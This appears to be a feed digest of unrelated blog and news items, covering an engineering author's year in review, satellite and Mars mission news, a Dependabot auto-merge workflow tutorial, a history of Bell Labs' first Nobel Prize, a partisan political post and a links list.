I finished my fourth book, Crafting Engineering Strategy, and wrote some notes on writing it. I’m really excited for this book to be done, because I think it’s been a missing book in the industry, and I hope it will change how the industry thinks about “engineering strategy.” In particular, I hope it’ll pull us away from the frequent gripe that “we have no engineering strategy!” You do have an engineering strategy, it’s just not written down yet.

As part of finishing this book, I’ve also recognized that if I write another book, it will be far into the future. After publishing four books in six years, I’m booked out, and I’m pretty sure I’ve tapped out my last decade’s path of writing books to advance the industry. I’ll definitely keep writing, but it’ll be posts focused on the stuff I’m concretely working on, without trying to map them into a larger book structure.

(Last year I mentioned adding The High-Context Triad to a second edition of Staff Engineer, which I still plan to do, but I’m not quite sure when. Probably in a few years.)

Work

I left Carta in May after two years there, and joined Imprint. Imprint has just been a lot of fun for me. I’ve written a small number of real pull requests that implement meaningful things. That’s something I haven’t done since working at Uber, and aligns with my desire to be working in the details again. There’s nothing more energizing to me than getting to solve real, concrete problems, and that’s exactly the sort of job Imprint has been for me. I just haven’t been spenting time on stuff like implementing internal workflow agents or automatically merging Dependabot pull requests in a long time, and I missed it.

It’s also, after some years spent on making teams more efficient, been an opportunity to really hire again, which I haven’t gotten to do since my first couple years at Calm. It’s never easy working at a fast growing company, but you do learn a lot, and quite quickly.

Family

My son entered kindergarten this year. I turned 40. My wife is starting to explore the world of fractional software development, and she’s figuring out its rules. We’ve had a fair amount of health issues in the immediate and extended family, but altogether everything is going well.

Speaking

I didn’t do much public speaking, although I spoke on Book Overflow about Staff Engineer, which was a fun discussion.

I also spoke at several private events, and recorded practice runs on YouTube of Good engineering management is a fad and CTOs must earn the right to specialize. Those are very similar talks, where I’ve been iterating on the core idea of how engineering managers need to adapt to the current era.

Reading

In 2024, I read 27 profession-adjacent books. In 2023, I read 11. I’m not quite sure how many I read in 2022, because I put together a 2019-2022 professional reading recap, but it was about 50 over four years. This year I didn’t do much professional reading, mostly because I was too busy with the new job and polishing my most recent book.

What I did read was:

  1. AI Engineering by Chip Huyen
  2. Recoding America by Jennifer Pahlka
  3. Facilitating Software Architecture by Andrew Harmel-Law
  4. Turning the Flywheel by Jim Collins

It’s interesting to note the drop in volume, but I feel fine about it. I don’t read to hit a goal, I read to learn or understand a particular problem, and found myself mostly working on topics that didn’t align well with that approach this year.


If you’ve written something about your year, send it my way!

These are the flying discs the government wants you to know about

Four small satellites rode a Rocket Lab Electron launch vehicle into orbit from Virginia early Thursday, beginning a government-funded technology demonstration mission to test the performance of a new spacecraft design.

The satellites were nestled inside a cylindrical dispenser on top of the 59-foot-tall (18-meter) Electron rocket when it lifted off from NASA’s Wallops Flight Facility at 12:03 am EST (05:03 UTC). A little more than an hour later, the rocket’s upper stage released the satellites one at a time at an altitude of about 340 miles (550 kilometers).

The launch was the starting gun for a “proof of concept” mission to test the viability of a new kind of satellite called DiskSats. These satellites were designed by the Aerospace Corporation, a nonprofit federally funded research and development center. The project is jointly financed by NASA and the US Space Force, which paid for DiskSat’s development and launch, respectively.

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NASA will soon find out if the Perseverance rover can really persevere on Mars

When the Perseverance rover arrived on Mars nearly five years ago, NASA officials thought the next American lander to take aim on the red planet would be taking shape by now.

At the time, the leaders of the space agency expected this next lander could be ready for launch as soon as 2026—or more likely in 2028. Its mission would have been to retrieve Martian rock specimens collected by the Perseverance rover, then billed as the first leg of a multilaunch, multibillion-dollar Mars Sample Return campaign.

Here we are on the verge of 2026, and there’s no sample retrieval mission nearing the launch pad. In fact, no one is building such a lander at all. NASA’s strategy for a Mars Sample Return, or MSR, mission remains undecided after the projected cost of the original plan ballooned to $11 billion. If MSR happens at all, it’s now unlikely to launch until the 2030s.

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Thinkie: Reinforcing Loop

Pattern 1: You have a situation where the worse it gets, the worse it seems to get

Pattern 2: You are looking for a way to create large effects with a small investment

Transformation: Find a loop of effects in an influence diagram which has an even number of negative connections. Go backwards in that loop until you find something you can push in the oppos…

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Nabeel on reading Proust

From Nabeel Qureshi:

Yet not a word is wasted. It sounds paradoxical, but Proust is economical with his prose. He is simply trying to describe things that are extremely fine-grained and high-dimensional, and that takes many words. He is trying to pin down things that have never been pinned down before. And it turns out you can, indeed, write 100 pages about the experience of falling asleep, and find all kinds of richness in that experience.

And this:

…, a clear-sightedness on human vanity and a total willingness to embarrass himself. There are passages in the Albertine sections which are shocking – such as the extended stretch, around 50 pages long, in which he describes watching her sleep — and, reading them, you start to understand that this was written by a dying man who did not care about anything apart from telling the whole truth in as merciless way as possible.

Third, hypotaxis in sentences. The opposite of hypotaxis is parataxis, which you often find in Hemingway, as in: “The rain stopped and the crowd went away and the square was empty.” Each item here is side by side, simple, clean. The Bible often uses such types of sentences: “And God said, Let there be light: and there was light. And God saw the light, that it was good: and God divided the light from the darkness.”.

Hypotaxis, by contrast, describes sentences with many subordinate clauses, like nesting dolls.

Nabeel says In Search of Lost Time is now his favorite novel.

The post Nabeel on reading Proust appeared first on Marginal REVOLUTION.

       

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Automatically merging dependabot PRs

One of the recurring themes of software development is patching security issues. Most repository hosting services have fairly good issue reporting at this point, but many organizations still struggle to apply those fixes in a timely fashion. This past week we were discussing how to reduce the overhead of this process, and I was curious: can you just auto-merge Github Dependabot pull-requests?

It turns out, [the answer is yes], and it works pretty well. You get control over which types of updates (patches, minor updates, major updates, etc) you want to auto-merge, and it will also respect your automated checks. If you have great CI/CD that runs blocking linting, typing and tests, then this works particularly well. If you don’t, then, well, this will be an effective mechanism to get you to having good linting, typing, and tests afer traversing a small ocean of tears.

I got this running for about a dozen repositories at work over the past few days, but I’ll show an example of setting up the same mechanism for my blog.

First, add a .github/workflows/dependabot-auto-merge.yml file to your repository that looks like this:

# Automatically approve and merge Dependabot PRs for minor and patch updates
name: Dependabot auto-merge
on: pull_request
permissions:
contents: write
pull-requests: write
jobs:
dependabot:
runs-on: ubuntu-latest
if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'lethain/irrational_hugo'
steps:
- name: Dependabot metadata
id: metadata
uses: dependabot/fetch-metadata@v2
with:
github-token: "${{ secrets.GITHUB_TOKEN }}"
- name: Approve Dependabot PR
run: gh pr review --approve "$PR_URL"
env:
PR_URL: ${{ github.event.pull_request.html_url }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Enable auto-merge for Dependabot PRs
if: steps.metadata.outputs.update-type == 'version-update:semver-patch' || steps.metadata.outputs.update-type == 'version-update:semver-minor'
run: gh pr merge --auto --squash "$PR_URL"
env:
PR_URL: ${{ github.event.pull_request.html_url }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Then go to your repository settings (something like https://github.com/lethain/irrational_hugo/settings), and enable auto-merging for your repository. This still respects all required branch rules, like required test passes or approvals, etc.

Then make sure you have appropriate status checks for whatever linting, typing and tests you have in your repository.

Then enable Dependabot (something like https://github.com/lethain/irrational_hugo/settings/security_analysis). Even the default settings are just find.

Then you’re done. The PRs from dependabot will automatically merge going forward. There are lots of nuances here–I already found one issues that automatically merged despite an issue because of a missing test–but ultimately I think that’s valuable pressure to improve the testing quality, rather than a reason to avoid, or backtrack, on the approach.

Friday: Existing Home Sales

Mortgage Rates Note: Mortgage rates are from MortgageNewsDaily.com and are for top tier scenarios.

Friday:
• At 10:00 AM ET, Existing Home Sales for November from the National Association of Realtors (NAR). The consensus is for 4.15 million SAAR, up from 4.10 million.

• Also at 10:00 AM, University of Michigan's Consumer sentiment index (Final for December).

Island of the hornbills

Photo of hornbill perched on a tree trunk with vibrant beak, surrounded by green leaves under a clear sky.

Why the stunning rhinoceros hornbills are the farmers of the rainforest and a powerful avian symbol of regeneration

- by Aeon Video

Watch on Aeon

Long live the aeonophiles!

Coloured scanning electron micrograph of yellow bacteria surrounded by dark grey particulate matter.

The discovery of organisms that have been alive for many thousands of years requires a revolution in how we understand life

- by Karen G Lloyd

Read on Aeon

[RIDGELINE] The Walk and Talk, Nagano Kiso-ji

Ridgeline subscribers —

I’ll die on my dumb hill, the one where I say: the best time to visit and walk (most) of Japan is the end of November and the start of December. I think a lot of folks have a kind of North-Eastern-American mentality, where by the time December hits New York City, snow is falling and there’s a too-sharp bite to the air. Not so in Tokyo, or anywhere else west and south of the city.

Thursday 18 December 1662

Up and to the office, Mr. Coventry and I alone sat till two o’clock, and then he inviting himself to my house to dinner, of which I was proud; but my dinner being a legg of mutton and two capons, they were not done enough, which did vex me; but we made shift to please him, I think; but I was, when he was gone, very angry with my wife and people.

This afternoon came my wife’s brother and his wife, and Mrs. Lodum his landlady (my old friend Mr. Ashwell’s sister), Balty’s wife is a most little and yet, I believe, pretty old girl, not handsome, nor has anything in the world pleasing, but, they say, she plays mighty well on the Base Violl.

They dined at her father’s today, but for ought I hear he is a wise man, and will not give any thing to his daughter till he sees what her husband do put himself to, so that I doubt he has made but a bad matter of it, but I am resolved not to meddle with it. They gone I to the office, and to see Sir W. Pen, with my wife, and thence I to Mr. Cade the stationer, to direct him what to do with my two copies of Mr. Holland’s books which he is to bind, and after supplying myself with several things of him, I returned to my office, and so home to supper and to bed.

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How Bell Labs Won Its First Nobel Prize

Bell Labs, as we’ve noted before, was for years America’s premier industrial research lab. Not only did Bell Labs invent much of the technology that powers the modern world — the transistor, the solar PV cell, the first communication satellite — but it made numerous scientific breakthroughs, accumulating more Nobel Prizes than any other industrial research lab.

I’m generally skeptical of efforts to create a “modern Bell Labs,” as I think much of what made Bell Labs work was historically contingent. But I nevertheless think there’s value in understanding what exactly made Bell Labs so good, and how we might apply those lessons to modern organizations.

One way of understanding what made Bell Labs tick is to look at its early history, before it became America’s premier industrial lab. To that end, let’s take a look at how Bell Labs won its first Nobel Prize.

The prize was awarded to physicist Clinton Davisson in 1937 for demonstrating the existence of electron diffraction — the fact that, in some circumstances, electrons act like waves rather than particles. This discovery was based on research done by Davisson that began in 1920, just a few years after Theodore Vail (the first general manager of AT&T) returned to the company and set it on a more technology-focused trajectory, and before Bell Labs as a formal organization even existed.

Clinton Davisson and Western Electric

Clinton Davisson was born in Illinois in 1881. While he displayed an aptitude for math and science from an early age, he had a somewhat fitful journey into physics. When Davisson graduated high school in 1902, he attended the University of Chicago, but after a year was forced to drop out due to lack of funds. One of his professors, Robert Millikan (who would later win the Nobel Prize for discovering the charge of the electron with his oil drop experiment), arranged for Davisson to work at Purdue University as an assistant instructor in physics. Davisson returned to University of Chicago later that year, only to leave again to work as a part-time instructor at Princeton. Davisson finally graduated from University of Chicago with his bachelors in 1908, and received his PhD from Princeton in 1911.

After graduating from Princeton, Davisson got a job as an instructor of physics at Carnegie Institute of Technology (today known as Carnegie Mellon). While at Carnegie, most of Davisson’s time was occupied by teaching; over the next six years he managed to perform a few experiments (one on X-rays reflected off of tungsten, another on the energy emitted by hydrogen spectral lines), but achieved no publishable results. Davisson’s only publications at Carnegie were one theoretical article (on Niels Bohr’s recently-invented model of the atom) and two short theoretical notes (on gravitation and electrical action, and a theoretical model of the electron). Including his work at Princeton, by 1917 Davisson had only published six papers.

In 1917, Davisson took a summer job at Western Electric, the manufacturing arm of AT&T, to assist with manufacturing vacuum tubes for the military during WWI. At the time, vacuum tubes used a filament coated in platinum oxide, but platinum was in short supply due to the war; Davisson worked to help develop a nickel oxide coated filament. Davisson, who was mostly interested in scientific investigations rather than development work, was apparently not particularly thrilled with this assignment — Mervin Kelly, former president of Bell Labs, noted in a biography of Davisson that “the needs of the situation forced upon him somewhat of an engineering role for which he had little appetite” — but he nevertheless did it well. The temporary assignment soon became permanent, and by 1918 Davisson was in charge of four different groups of engineers at Western Electric, managing all aspects of the new nickel oxide filament’s development.

Following the end of the war, Davisson planned to return to Carnegie, where he had been offered a promotion to assistant professor. However, Davisson’s boss, Harold Arnold (who would become Bell Labs’ first director of research) asked Davisson to stay at Western Electric. Davisson had little to no interest in management, or in engineering-type work, though he had performed those tasks when they were required of him — his overwhelming interest was in scientific investigations, to achieve “complete and exact knowledge of the physical phenomena under study.” Arnold seems to have enticed Davisson to stay by offering him the opportunity to pursue fundamental scientific research at Western Electric, a rare occurrence at industrial labs at the time, and for most of his time at AT&T, Davisson would have the luxury of following his own research interests, aided by a small team of physicists and lab assistants.

Davisson, nickel, and electrons

Davisson’s first post-war assignment was to bombard vacuum tube filaments with positive ions, to see how it affected electron emissions. This research assignment was the product of a patent dispute over the vacuum tube between Western Electric and General Electric. The dispute began in 1915 when Harold Arnold filed a patent on an improved vacuum tube, to provoke an interference with an existing General Electric vacuum tube patent which Western Electric believed was illegitimate. The dispute, which took 16 years to resolve (it was ultimately decided in Western Electric’s favor by the Supreme Court in 1931), hinged on extremely technical aspects of vacuum tube operation, and whether certain improvements were novel enough to be patented. Because of the highly technical basis of the various patent claims, Arnold felt it was valuable to gain a better physical understanding of how, specifically, vacuum tubes behaved. To assist on this assignment, Davisson was joined by Lester Germer, a young physicist.

An early vacuum tube. Electrical current flows between the filament (cathode) and the plate (anode) By changing the voltage at the grid between the two, the flow of current can be controlled. Via Wikipedia.

Ultimately, Davisson and Germer found that ion bombardment had virtually no impact on the electron emission behavior of tube filaments. After these ion bombardment experiments were concluded, Germer continued to work on studying the electron emission of filaments, while a new physicist, CH Kunsman (who had joined in June 1920) took over as Davisson’s primary collaborator. Davisson and Kunsman then began using their experimental apparatus to bombard vacuum tube grids and plates with electrons instead of positive ions. During these experiments, Davisson and Kunsman stumbled across an unexpected phenomenon: that some electrons bounced off their targets “elastically” (with roughly as much energy as they had collided with).

Davisson thought that these elastically scattered electrons might prove valuable as a research tool. Just a few years before, in 1911, a research team led by Ernest Rutherford had discovered that matter in an atom was concentrated in a tiny, dense “nucleus” at its center, by bombarding a thin gold foil with alpha particles (helium atoms shorn of their electrons) and observing how they were scattered. Davisson thought that a similar experiment, using elastically scattered electrons instead of alpha particles, might shed light on the electron structure of atoms. At the time it was generally agreed that the atomic nucleus was surrounded by electrons which inhabited discrete “shells” — specific orbits that electrons were allowed to occupy — but little was known about how those shells were arranged.

In 1921, Davisson and Kunsman began their experiments using elastically scattered electrons. By bombarding a piece of nickel with electrons, and recording the angles at which they bounced off, they hoped to learn about the structure of the electron shells surrounding the nickel atoms.

Arrangement of Davisson and Kunsman’s electron experiment. Via Gehrenbeck 1974.

Initially, this line of research appeared promising. Davisson and Kunsman were able to develop a formula that related the scattering angle to a hypothesized structure of the electron shells (though they only made a qualitative comparison between their formula and their experimental results), and they published a short paper on their work later that year. The duo then continued this line of study with other metals, examining the scattering behavior of copper, aluminum, platinum, and magnesium, and publishing papers on their results in 1922 and 1923. However, these investigations ultimately failed to pan out, teaching them little about the behavior of atomic electron shells.

These disappointing outcomes apparently dulled the team’s enthusiasm for the electron scattering studies; when Kunsman departed Western Electric in November of 1923, the scattering experiments ceased.

Experimental serendipity

A breakthrough in this line of research came a little over a year later, following the return of Lester Germer, who had been on a leave of absence from Western Electric since 1923 due to health concerns and a nervous breakdown. When Germer returned in July of 1924, he resumed work on the electron scattering experiments.

These experiments had to be performed in a high vacuum, which required occasionally pumping air out of the large tube which contained the experimental apparatus. In early 1925, following one such repumping, a bottle of liquid air broke, cracking a charcoal “trap” that was used to help maintain the vacuum within the tube and covering the target — a highly polished piece of nickel — in a layer of solid oxide. Instead of simply replacing the target, Davisson and Germer decided to repair it, putting it through several rounds of intense heating and then removing a thin layer of material from the top.

Initially, when the scattering experiments were resumed with the bombardment of the repaired piece of nickel, the results were similar to what had been obtained prior to the accident. However, a few weeks later, Davisson and Germer began to observe electron scattering behavior which was very different from what had been seen prior to the accident and subsequent repair.

Electron scattering behavior before and after the lab accident and target repair. Via Gehrenbeck 1974.

Upon close examination of the target piece of nickel, it was found that the repair had changed the character of its surface. Prior to the accident the nickel, like most pieces of metal, consisted of numerous tiny intersecting crystals — regular arrangements of atoms — which were fused together. But following the accident and repair, the number of crystal grains had been reduced by “several orders of magnitude”, resulting in just a few large crystal facets. Davisson had originally theorized that the atomic structure of the target — how the electron shells were arranged — would affect how electrons were scattered. But now it appeared that instead it was the crystal structure — how the individual atoms were arranged — which determined how electrons were scattered. Eventually, they found that the unexpected scattering results were due to the electrons bouncing off a single crystal of nickel.

Grain boundaries in a piece of metal. Individual crystals with different orientations are fused together. Via Wikipedia.

Pursuing this unexpected phenomena, Davisson and Germer eventually obtained a large single crystal of nickel (grown by a member of Bell Labs’ staff) to use as a target, and began to bombard it with electrons at different angles in 1926. However, the results appeared underwhelming. Davisson later noted that:

We were surprised and disappointed to find that it was indistinguishable from what would have been observed had the target been one of ordinary polycrystalline nickel— a simple curve with never a bump or spur from one end to the other. The Br and C-azimuths were explored with the same result.

New target bombarded with electrons at different angles. Via Gehrenbeck 1974.

A year of experimental effort had apparently led to nothing.

While these experiments were taking place, another notable event occurred. In 1925 the research activities of AT&T were reorganized and combined under a single roof: Bell Telephone Laboratories.

Wave particle duality

While Davisson, Kunsman and Germer were bouncing electrons off of various materials, a revolution was brewing in the field of physics. In 1905 Albert Einstein, to explain certain experimental results — namely, the way electrons were ejected from the surface of metal when exposed to light, known as the photoelectric effect — posited that light might impart energy via discrete packets, or “quanta”, of energy. Light, long thought to consist of waves, might in some cases behave like particles. This hypothesis was strengthened by experimental results from the American physicist Arthur Compton in 1922, who fired X-rays at various elements to see how they scattered. Compton found that the wavelengths of the X-rays increased when scattered by the target, which implied that the X-rays were transmitting their energy as a series of particle collisions.

Around the time Compton was performing his experiments demonstrating that light waves sometimes acted like particles, a French physicist, Louis de Broglie, was hypothesizing that, conversely, particles of matter might sometimes act like waves. De Broglie advanced this theory in his 1924 doctoral thesis, and suggested that it could be experimentally verified by studying the scattering behavior of electrons by crystals. If electrons — atomic particles that carried negative charge — acted like waves, the regular structure of the crystal would act somewhat like a series of closely-spaced mirrors, reflecting the electrons in such a way to produce a tell-tale interference pattern (a phenomenon known as Bragg diffraction).

Bragg diffraction of X-rays on a crystal. For particular wavelengths, the waves will be reflected off the rows of atoms such that the wave peaks will reinforce each other. Via Davisson 1927.

Most physicists did not think much of de Broglie’s theory, but some — including Einstein — found it compelling. One such supporter was German physicist Max Born, who discussed de Broglie’s ideas with his colleagues, including a young German graduate student named Walter Elsasser. Elsasser, who had seen Davisson and Kunsman’s 1923 paper on electron scattering, thought its results provided some evidence of de Broglie’s wave theory of matter, and published a short paper on this idea in 1925.

Elsasser then attempted to verify the theory with his own electron scattering experiments. But such experiments were difficult, as they required creating high-vacuum conditions that few labs were equipped for. After several months of attempts, Elsasser gave up (even though Einstein told him that he was “sitting on a gold mine.”) Several attempts by other physicists to show electron diffraction were either similarly abandoned due to technical difficulties, or produced inconclusive results.

Davisson, de Broglie and electron waves

In July of 1926, a few months after beginning the single crystal scattering experiments, Davisson went on vacation with his wife to England. While there, he attended a meeting of the British Association of the Advancement of Science, possibly so that he could classify the trip as “work related” and have it reimbursed by Bell Labs. At the meeting, Davisson saw a presentation by Max Born on the wave theory matter, which by now had been further developed by Erwin Schrödinger. Davisson at the time was unfamiliar with this theory, and was surprised to learn that his own previous electron scattering research was being used to support it. Davisson discussed his research with Born and others, and showed them unpublished data from his recent single crystal experiments that he had brought with him. Though the recent data didn’t appear to reveal much, the European physicists convinced Davisson that he nevertheless may be on the right track, and on his journey back to the US, Davisson began working his way through understanding Schrödinger’s papers.

When Davisson returned to the US, he and Germer first looked closely for the predicted electron diffraction pattern in their existing experimental data, but failed to find it. Undaunted, Davisson and Germer decided that a more “thorough search” was called for. They began by closely examining their experimental apparatus. Upon inspection, it was discovered that the crystal target had been rotated slightly, and that the opening in the Faraday box used to gather scattered electrons was shifted from where it was believed to be. When a correction was applied to previous experimental data to account for this, there appeared to be “extremely good” correspondence between the data and what the wave theory predicted.

Davisson and Germer then began a new series of single crystal electron scattering experiments, looking for beams of scattered electrons where the wave theory predicted they should be. On January 6th, 1927, they found what appeared to be confirmatory evidence, a telltale “peak” of electrons collected at a particular speed, which (per de Broglie’s wavelength formula) corresponded to a particular wavelength. This peak was not quite where the theory predicted it would be (the theory predicted one at 78 volts, while the peak was found, somewhat accidently, at 65 volts), but it was nevertheless evidence of a beam of diffracted electrons. Subsequent experiments found more peaks predicted by the theory.

Davisson and Germer published a paper with their results in Nature in April 1927. It included their electron scattering data, as well as scattering data collected when X-rays (which had known wavelengths and were known to diffract through crystals) were fired at the single crystal target. They found that if the wavelength of the electrons was calculated, and a (at the time unexplained) 0.7 adjustment factor was applied, the electron peaks corresponded with the peaks observed in the X-ray data. The paper concluded by noting that their results were “highly suggestive…of the ideas underlying the theory of wave mechanics”.

Intensity of reflected X-rays at various wavelengths (top), and intensity of reflected electrons at various speeds (bottom). Via Davisson 1927.

Davisson and Germer followed up this work with more experiments, looking for more predicted electron peaks and trying to explain peaks that were observed but not predicted by the theory, or that were predicted but not found. Many of these anomalous results were found to be caused by gas on the surface of the crystal or trapped within it. Others (such as the 0.7 adjustment factor) could be explained by the electrons refracting when they entered the crystal, altering the angle of their path through it. A follow-up paper, submitted to Physical Review in August, included even more predicted electron peaks, as well as explanations for several anomalous ones, though several other unexplained discrepancies between the theory and the data remained. Subsequent experiments by other physicists would later confirm Davisson and Germer’s results, that electrons were diffracted through crystals in accordance with the wave theory of matter.

Davisson and Germer followed up this work with experiments investigating whether electrons exhibited other wave-like behavior, including refraction, reflection and polarization, publishing 16 papers from 1928 to 1932, further strengthening the theory that electrons behaved as waves. Germer would continue studying electron diffraction into the 1940s, while Davisson shifted his efforts into “electron optics” — how differently shaped openings could act as lenses for electrons. In 1937, Clinton Davisson was awarded the Nobel Prize in physics for the 1927 experiments which demonstrated the wave nature of the electron. (He shared the prize with G.P. Thomson who had, independently, also demonstrated the wave nature of the electron by scattering electrons through thin films of metal.)

Conclusion

Overall, what strikes me about this scientific discovery is how messy everything is. At a high level, the discovery seems like what we might expect for the scientific process: there’s an unexplained observation (Davisson and Germer’s surprising scattering results on the repaired piece of nickel), followed by a hypothesis that could explain those observations (de Broglie’s independently developed wave theory of matter), followed by an experiment to demonstrate the new hypothesis (Davisson and Germer’s 1927 scattering experiments). But when you zoom in, the path looks incredibly circuitous, full of false starts, disappointing results, and discrepancies between theory and experiment. Davisson’s research is kicked off by the unexpected discovery of elastically scattered electrons, but the resulting line of research to explore the electron structure of atoms is disappointing; so disappointing, in fact, that it’s abandoned for nearly a year. When it’s resumed, another unexpected event — the lab accident that results in a highly modified nickel target — leads to a new line of research, investigating the influence of crystal structure on electron scattering behavior. But this line of research also initially doesn’t seem very promising, yielding disappointing results at first. It’s only a third unplanned event — Davisson learning about the wave theory of matter from European physicists, which his earlier scattering experiments (done for totally different reasons!) seem to provide weak evidence for — that puts Davisson and Germer on the correct track.

Armed with this new theory, Davisson and Germer were eventually able to use their experimental apparatus to demonstrate that the data fit the theory’s prediction (electrons diffracting through a crystal), but this process was also messy. The data collected didn’t straightforwardly correspond with the theory’s predictions. The initial peak of electrons was found at 65 volts, not the predicted 78 volts, and the same experiments yielded a much larger peak at 30 volts that had to be strategically ignored. There were numerous other discrepancies from the theory: various beams of electrons where they shouldn’t be, a 0.7 “correction” factory that needed to be applied. Resolving these discrepancies took time and effort.

What’s more, the experiments were incredibly difficult to perform. Davisson and Germer succeeded in demonstrating electron diffraction where others had failed because their lab, unlike many others, had facilities for producing very high vacuums. But creating these conditions was difficult: the apparatus frequently broke, and slight misalignments in various pieces of equipment could, and did, distort the data.

Other takeaways from this discovery:

  • The importance of technology, and particularly new observational tools, for scientific discovery. The discovery couldn’t have been made without the ability to create a high vacuum, and Davisson’s line of research was kicked off by the discovery of elastically scattered electrons, which Davisson suspected could be used as a research tool.

  • The importance of serendipity and the unexpected for making scientific discoveries. The unexpected discovery of elastically scattered electrons, the accidental modification of the nickel target, Davisson’s chance exposure to the wave theory of matter, and the accidental discovery of the 65 volt electron peak all played a role in Davisson’s demonstration of electron diffraction.

  • It can be hard to predict how a line of research will evolve. Davisson began by studying the behavior of vacuum tube filaments, which led him to elastically scattered electron experiments, which led him to studying the effect of crystal structure of electron scattering, which (eventually) led him to electron diffraction. Except for the initial vacuum tube filament studies, none of these research directions was planned, and were only possible because Davisson had somewhat free rein to research what he liked.

  • It’s understandable why this sort of research is rare in a corporate setting. Davisson’s discovery was the product of a years-long line of research, which probably wasn’t particularly cheap. (It doesn’t seem to have taken a huge amount of personnel, but the equipment was almost certainly expensive, as evidenced by the fact that few other labs possessed it.) It didn’t result in any new products or services for AT&T. It was probably ultimately valuable to AT&T for the prestige factor of the Nobel Prize, but the prize wasn’t awarded until 17 years after the research began (and of course, most research efforts won’t be awarded Nobel Prizes). For an organization which needs to earn a profit, it’s not hard to see why funding this sort of work seems like a bad bet.

What does Davisson’s discovery tell us about Bell Labs? Davisson’s line of research was initially pursued because it was believed that there was value in a deep, physical understanding in how vacuum tubes and electronic devices behaved. This was apparently believed strongly enough that Western Electric allowed Davisson to pursue these sorts of scientific investigations, without worrying about whether they would result in practical applications, something that was (and is) rare in corporate settings.

It’s interesting to contrast this discovery with the discovery of the transistor. In some ways the efforts are similar. Both were research programs rooted in a deep understanding of electronic components, and both yielded Nobel Prizes in physics. But while Davisson’s research was pursued without regard to any particular practical application (and didn’t result in any, at least for AT&T), the transistor effort was part of a specific program to create a solid state amplifier. Bell Labs’ later ‘basic’ research efforts were much larger than those in the 1920s, but they also seem to have put more effort into nudging their researchers into working on important problems of practical significance.

Plaguelord and HHS Secretary Kennedy Retaliates By Canceling Grant Awarded to Critics

RFKJrraccoon

This is yet another reason why you don’t let crazy ass anti-vaxxers run HHS (boldface mine):

The Department of Health and Human Services has terminated seven grants totaling millions of dollars to the American Academy of Pediatrics, including for research on reducing sudden infant deaths, improving adolescent health, preventing fetal alcohol syndrome and identifying autism early, according to documents obtained by The Washington Post.

The abrupt loss of funds this week surprised the professional pediatrician association, which has been one of the harshest critics of Health Secretary Robert F. Kennedy Jr.’s changes to federal vaccine policy.

“The sudden withdrawal of these funds will directly impact and potentially harm infants, children, youth, and their families in communities across the United States,” Mark Del Monte, AAP’s chief executive and executive vice president, said in a statement to The Post. The organization is exploring options to push back, he said, including a legal challenge.

Administration officials cited a range of reasons for cutting off the funding to AAP, including the group’s use of “identity-based language,” including references to racial disparities and “pregnant people,” and insufficient focus in at least one grant program on nutrition and chronic disease prevention, which they said runs afoul of HHS’s priorities.

The AAP has criticized Kennedy for making unilateral changes to federal vaccine policy, calling them unscientific and arguing that his actions undermined evidence-based medicine, sidelined expert advice, eroded trust in vaccines and jeopardized public health by making communities more vulnerable to preventable diseases. The group condemned his firing of the CDC’s independent vaccine advisers to replace them with his own picks, many of whom previously criticized vaccine guidance.

Kennedy has blasted AAP for receiving funding from vaccine manufacturers and pharmaceutical companies. In response to the organization contradicting him by recommending annual covid vaccination for infants and toddlers, Kennedy called on the group to disclose conflicts of interest “so that Americans may ask whether the AAP’s recommendations reflect public health interest, or are, perhaps, just a pay-to-play scheme to promote commercial ambitions of AAP’s Big Pharma benefactors.”

The AAP and other medical groups are suing HHS and Kennedy in federal court, alleging that his coronavirus vaccine policy changes violate federal law. The lawsuit is seeking that the Kennedy’s vaccine advisory panel be disbanded and reconstituted under court supervision.

When Trump says something about awful and petty, it’s gross and disgusting. But this is an attempt to silence critics–who are in the right–because they correctly oppose Kennedy’s rabid anti-vaccinationism.

During the 2024 election, I kept posting on Bluesky how most people didn’t realize how many things a Trump administration would break–or even realize those things could be broken. I hate this. And it didn’t have to be like this at all.

Links 12/18/25

Links for you. Science:

A Lone Astronomer Has Reported a Dark Matter ‘Annihilation’ Breakthrough
The deepest parts of the Arctic Ocean are warming now too
Being Famous Can Shorten Your Lifespan
When “Stuff Happens” After Vaccination. How scientists separate coincidence from true side effects (the null hypothesis ftw)
A Breakthrough Cancer Vaccine Is Emerging—Just as the U.S. Is Gutting the System That Makes It Possible
As the 2025 Atlantic hurricane season ends, the future of forecasting is AI machine learning

Other:

The President Who Never Grew Up (still not using the word narcissist though)
Layoffs Hit Highest Since Covid-19 Even as Trump Brags About Economy
Trump’s Ballroom Donors Blow Off Senator’s Questions About How Much They Gave
Kristi Noem’s ICE hiring chaos laid bare as fat, illiterate and violent misfits ‘not ready to tie their own laces’ are recruited
NYPD Commissioner Tisch’s brother calls Mamdani ‘enemy’ of Jewish people at charity dinner
Eric Trump Has Gotten 10 Times Richer Since Dad’s Election. Crypto took the real estate heir’s fortune and supersized it, briefly making the president’s second-oldest son a billionaire in early September.
Trump Wants Asia’s ‘Cute’ Kei Cars to Be Made and Sold in US (who bribed him?)
The Real Way Schools are Failing Boys
Levi’s Heir in Congress Pushes End to Tax Loophole for Ultrarich
We Have a Way to Pay for Free Buses. It Means Free Street Parking Is Over.
DC Council votes unanimously to secure ‘streateries’ one day after new rules left businesses scrambling (too little, too late by a Council that is essentially suburban in how they actually live, other than perhaps, Nadeau)
Congestion in D.C. got worse in 2025, report says
Forget Whether Or Not DOGE Exists: Will Anyone Be Held Accountable For 600,000 Deaths?
Federal judge limits warrantless immigration arrests in D.C.
Montgomery County rejects sidewalks because of “stranger danger” (which is to say, black and brown people)
Kennedy Center to Artists: Your Checks Are In the Mail. According to reps for several performers, the beleaguered arts institution isn’t showing them the money.
What the f-ck is the Donald J. Trump Institute of Peace?
Federal agents launch immigration crackdown in New Orleans
On Legal Justifications
Amazon eyes expanding delivery network after talks with USPS stall. Amazon has long been the Postal Service’s top customer, providing more than $6 billion in annual revenue to the agency in 2025. But talks with the mail agency have faltered as postal officials plan to auction shipping capacity. (I have doubts about a Trump apparatchik being able to outbargain Bezos et alia…)
Voters’ minds are hard to change. AI chatbots are surprisingly good at it.
Trump Knows He’s Failing. Cue the Bigotry.
Illinois can set its own vaccine guidelines, bypassing Trump administration
The $79 Trillion Heist
Enterprise Rent-A-Car license plate revoked after immigration agents illegally swapped it out, records show
Medical Research is a Life and Death Issue
